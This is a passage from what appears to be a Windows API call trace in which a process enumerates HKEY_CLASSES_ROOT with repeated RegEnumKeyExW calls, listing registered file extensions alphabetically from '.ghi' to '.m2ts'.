lpftLastWriteTime=0x0) returned 0x0 [0181.727] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ghi", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.727] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gif", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.727] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".glb", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.727] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gltf", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.728] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gmmp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.728] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".group", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.728] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".grp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.728] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".gz", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.728] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".h", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.728] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hdp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.728] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".heic", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.728] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".heics", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.728] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".heif", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.728] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xa9, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".heifs", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.728] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xaa, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hhc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.729] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xab, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hlp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.729] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xac, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hpp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.729] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xad, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hqx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.729] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xae, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hta", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.729] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xaf, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".htc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.729] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".htm", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.729] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".html", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.729] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".htt", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.729] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".htw", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.729] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".htx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.730] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".hxx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.730] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".i", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.730] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ibq", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.730] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".icc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.730] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xb9, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".icl", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.730] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xba, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".icm", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.730] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xbb, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ico", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.730] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xbc, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ics", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.730] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xbd, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".idl", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.730] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xbe, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".idq", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.731] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xbf, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".iiq", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.731] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ilk", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.731] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".imc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.731] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".imesx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.731] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".img", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.731] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".inc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.731] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".inf", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.731] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ini", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.731] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".inl", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.731] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".inv", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.731] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xc9, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".inx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.732] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xca, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".in_", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.732] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xcb, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".iso", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.732] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xcc, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".IVF", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.732] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xcd, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jar", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.732] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xce, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jav", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.732] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xcf, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".java", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.732] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jbf", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.732] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jfif", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.732] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jnlp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.732] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".Job", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.733] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jod", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.733] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jpe", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.733] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jpeg", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.733] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jpg", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.733] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".js", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.733] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xd9, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".JSE", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.733] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xda, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".json", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.733] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xdb, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".jxr", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.733] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xdc, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".k25", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.734] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xdd, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".kci", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.734] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xde, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".kdc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.734] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xdf, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".label", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.749] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".latex", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.749] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".lgn", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.749] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".lib", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.749] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".library-ms", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.749] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".lnk", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.749] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".local", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.749] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".log", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.750] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".lpcm", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.750] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".lst", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.750] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xe9, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".lzh", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.750] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xea, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".m14", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.750] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xeb, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".m1v", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.750] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xec, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".m2t", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.750] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xed, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".m2ts", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.750] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xee, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: 